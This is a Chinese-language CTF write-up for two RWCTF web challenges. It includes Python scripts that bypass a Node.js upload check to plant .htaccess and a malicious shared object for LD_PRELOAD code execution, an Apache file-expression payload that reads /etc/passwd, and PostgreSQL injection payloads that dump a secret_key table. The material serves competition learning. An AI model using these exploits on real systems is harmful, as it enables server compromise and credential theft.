CTF Web安全

rwctf 两个web

Posted on 2022-01-23,3 min read

RWNN

nodejs文件上传。另一个端口是apache能访问到上传的文件。
nodejs的check逻辑是遍历form表单。判断第一个过了。那就直接return next了。不会判断第二个。。
那就上传两文件。第一个form表单为白名单。第二个为任意文件名。

apache解析htaccess。翻文档。有个file表达式
https://httpd.apache.org/docs/2.4/expr.html
可以构造出读取任意文件的payload

ErrorDocument 404 "%{file:/etc/passwd}"

读apache2.conf,多了一行过滤器

ExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip

再翻文档。还有个setenv。可以配合调用/gzip设置LD_PRELOAD

import requests

url = "http://47.243.75.225:31337"

name = ".htaccess"

content = open("exp.so","rb").read()

def upload(name, content):
    u = requests.post(url + "/upload", params={
        "formid": "0a"
    }, files={
        "0a": ("a.txt", content),
    }).text


    resp = requests.post(url + "/upload", params={
        "formid": "a0"
    }, files={
        "0a": ("a.txt", content),
        "a0": ("exp.so", content),
    }).text

    return u.replace("a.txt", name)

print(upload(name, content))
import requests,sys

url = "http://47.243.75.225:31337"

name = ".htaccess"

content = """
SetEnv LD_PRELOAD "/var/www/html/"""+sys.argv[1]+"""/exp.so"
SetOutputFilter 7f39f8317fgzip
"""
def upload(name, content):
    u = requests.post(url + "/upload", params={
        "formid": "0a"
    }, files={
        "0a": ("a.txt", content),
    }).text


    resp = requests.post(url + "/upload", params={
        "formid": "a0"
    }, files={
        "0a": ("a.txt", content),
        "a0": (".htaccess", content),
    }).text

    return u.replace("a.txt", "fdfdfd")

url=upload(name, content).replace("File uploaded to ","")
print(url)
r=requests.get(url=url)
if(r.status_code==500):
    pass
else:
    print(r.text)

Hack into Skynet

逻辑漏洞。判断用户名和密码都为空。才返回False。
然后会根据密码查询用户名。再将查询得到的用户名和输入的用户名进行匹配。
用户名空。密码随便输。就能绕过。
然后是个sql注入
直接贴exp了。加了个limit x offset x。就啥也不拦截了。

0';select '1',tablename from pg_tables  where schemaname='public' limit '1' offset 1--
#查表名
0';select '1',column_name from information_schema.columns where table_name='target_credentials' limit '1' offset 3--
#查列名
0';select '1',secret_key from target_credentials limit '1' offset 0--
#查数据

下一篇: 2021西湖论剑 朴实无华的web Writeup→